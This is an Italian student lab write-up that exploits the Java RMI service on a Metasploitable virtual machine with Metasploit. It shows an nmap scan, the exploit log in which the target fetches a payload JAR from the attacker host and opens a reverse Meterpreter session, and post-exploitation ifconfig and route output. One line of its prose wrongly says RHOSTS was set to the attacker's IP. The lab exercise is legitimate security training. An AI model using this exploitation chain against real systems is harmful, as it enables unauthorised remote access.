

S7-L5

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:-La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111-La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112-Scansione della macchina con nmap per evidenziare la vulnerabilità.-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

Ricerca su nmap per trovare le porte aperte notiamo la porta "1099 java-rmi"

```
└─$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 09:32 CET
Nmap scan report for 192.168.11.112
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   filtered microsoft-ds
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE
: cpe:/o:linux:linux_kernel
```

Sessione meterpreter
aperta da msfconsole
con search

“java-rmi”impostando
come rhosts l ip della
macchina attaccante

effettuando il comando
ifconfig notiamo l ip di
meta in questo caso

```
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/0Jngnq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:55216) at 2024-01-19 09:36:58 +0100

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed5:bc4
IPv6 Netmask : ::

meterpreter > 
```

Infine con il comando
route troviamo il routing
di meta

```
meterpreter > route
```

IPv4 network routes

| Subnet | Netmask | Gateway | Metric | Interface |
|----------------|---------------|---------|--------|-----------|
| 127.0.0.1 | 255.0.0.0 | 0.0.0.0 | | |
| 192.168.11.112 | 255.255.255.0 | 0.0.0.0 | | |

IPv6 network routes

| Subnet | Netmask | Gateway | Metric | Interface |
|-------------------------|---------|---------|--------|-----------|
| ::1 | :: | :: | | |
| fe80::a00:27ff:fed5:bc4 | :: | :: | | |

```
meterpreter > 
```